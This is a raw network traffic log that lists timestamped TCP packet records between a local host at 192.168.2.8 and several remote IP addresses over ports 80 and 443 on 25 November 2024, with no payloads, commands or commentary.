Nov 25, 2024 12:08:47.760538101 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.760548115 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:47.760730028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.760849953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.760874987 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.760961056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.761539936 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.761639118 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.761662006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.761718035 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:47.761718035 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.761769056 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.762070894 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.762125969 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:47.762422085 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.762485981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.762558937 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.762623072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.763360977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.763413906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.763447046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.763477087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.764154911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.764210939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.764290094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.764362097 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.765152931 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.765213013 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.765275955 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.765387058 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.765588999 CET	49780	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.766052961 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.766134024 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.766164064 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.766212940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.811736107 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.811748028 CET	443	49779	162.159.61.3	192.168.2.8
Nov 25, 2024 12:08:47.848036051 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:47.848058939 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:47.848124981 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:47.848289013 CET	49794	443	192.168.2.8	23.44.201.23
Nov 25, 2024 12:08:47.848300934 CET	443	49794	23.44.201.23	192.168.2.8
Nov 25, 2024 12:08:47.858067036 CET	49779	443	192.168.2.8	162.159.61.3
Nov 25, 2024 12:08:47.882730007 CET	49795	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:47.882765055 CET	443	49795	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:47.883682013 CET	49795	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:47.883682013 CET	49795	443	192.168.2.8	18.173.219.111
Nov 25, 2024 12:08:47.883697033 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:47.883711100 CET	443	49795	18.173.219.111	192.168.2.8
Nov 25, 2024 12:08:47.883732080 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:47.883817911 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:47.883992910 CET	49796	443	192.168.2.8	104.117.182.56
Nov 25, 2024 12:08:47.884010077 CET	443	49796	104.117.182.56	192.168.2.8
Nov 25, 2024 12:08:47.914927006 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.914994001 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.915007114 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.915047884 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.915055037 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.915081978 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.922209978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.922224998 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.922290087 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.922307968 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.922660112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.922756910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.922902107 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.923110008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.923465014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.923506975 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.923521996 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.923557997 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.924400091 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.924460888 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.924515009 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.924555063 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.925153971 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.925210953 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.925939083 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.925998926 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.926100969 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.926115990 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.926199913 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.927031040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.927046061 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.927098036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.927119970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.927861929 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.927932024 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.928271055 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.928306103 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.928657055 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.928730011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.929101944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.929147005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.929577112 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.929624081 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.930180073 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.930237055 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.930428028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.930440903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.930478096 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.931253910 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.931301117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.931721926 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.931948900 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.932116985 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.932176113 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.932189941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.932231903 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.932995081 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.933044910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.933303118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.933371067 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.933923006 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.933950901 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.933970928 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.933986902 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.934768915 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.934844971 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.935632944 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.935646057 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.935667992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.935710907 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.935728073 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.936527014 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.936593056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.936594963 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.936633110 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.937341928 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.937386036 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.937467098 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.937504053 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.938235044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.938281059 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.938368082 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.938457012 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.939251900 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.939389944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.939505100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.939548016 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.940037012 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.940084934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.940486908 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.940540075 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.940905094 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.940918922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.940963030 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.941731930 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.942169905 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.942174911 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.942209005 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.942581892 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.943196058 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.943243980 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.943490028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.943502903 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.943531990 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.943563938 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.944364071 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.944928885 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.944974899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.945272923 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.945286989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.945317030 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.945346117 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.946098089 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.946397066 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.946763992 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.946814060 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.946975946 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.947021008 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.947146893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.947194099 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.947818041 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.947971106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.948100090 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.948147058 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.948673010 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.948734045 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.948800087 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.948844910 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.949559927 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.949709892 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.949837923 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.949873924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.950453997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.950504065 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.950544119 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.950664043 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.951478004 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.951539040 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.951906919 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.952311039 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.952311993 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.952353954 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.952383995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.952429056 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.953059912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.953109026 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.953649044 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.953699112 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.953932047 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.953983068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.954291105 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.954344988 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.954850912 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.954906940 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.954941034 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.954983950 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.955255032 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.955276012 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.955339909 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.955358028 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:47.955369949 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.955424070 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:47.955681086 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.955739021 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.955771923 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.955887079 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.956563950 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.956621885 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.956890106 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.957304955 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.957417011 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.957437038 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.957478046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.958298922 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.958343029 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.958475113 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.958771944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.959167957 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.959217072 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.959616899 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.959662914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.960122108 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.960134029 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.960166931 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.960180998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.960949898 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.960997105 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.961441040 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.961729050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.961798906 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.961838007 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.961977959 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.962016106 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.962661028 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.962718010 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.962982893 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.963336945 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.963515997 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.963609934 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.963644981 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.963753939 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.964468002 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.964534998 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.965327978 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.965342045 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.965353966 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.965385914 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.965415001 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.966156960 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.966206074 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.966372967 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.966455936 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.967058897 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.967108011 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.967262983 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.967305899 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:47.967874050 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:47.967921019 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.093480110 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.093529940 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.093571901 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.093589067 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.093604088 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.093632936 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.118799925 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.118861914 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.118871927 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.118891001 CET	443	49772	13.107.246.63	192.168.2.8
Nov 25, 2024 12:08:48.118905067 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.119050980 CET	49772	443	192.168.2.8	13.107.246.63
Nov 25, 2024 12:08:48.123583078 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.123641014 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.123697042 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.123738050 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.124088049 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.124191046 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.124267101 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.124317884 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.124946117 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.124986887 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.124998093 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.125021935 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.125811100 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.125869989 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.126106977 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.126156092 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.126652956 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.126833916 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.127203941 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.127249956 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.127567053 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.127578974 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.127613068 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.127631903 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.128417015 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.128468037 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.128637075 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.128720999 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.129276991 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.129323006 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.129806995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.129859924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.130192995 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.130203962 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.130247116 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.131087065 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.131098986 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.131143093 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.131886005 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.131937981 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.131975889 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.132015944 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.132757902 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.132808924 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.133270025 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.133320093 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.133624077 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.133687973 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.134550095 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.134562016 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.134574890 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.134598970 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.134613991 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.135445118 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.135502100 CET	49744	80	192.168.2.8	185.215.113.206
Nov 25, 2024 12:08:48.135735989 CET	80	49744	185.215.113.206	192.168.2.8
Nov 25, 2024 12:08:48.135780096 CET	49744	80	192.168.2.8	185.215.113.206
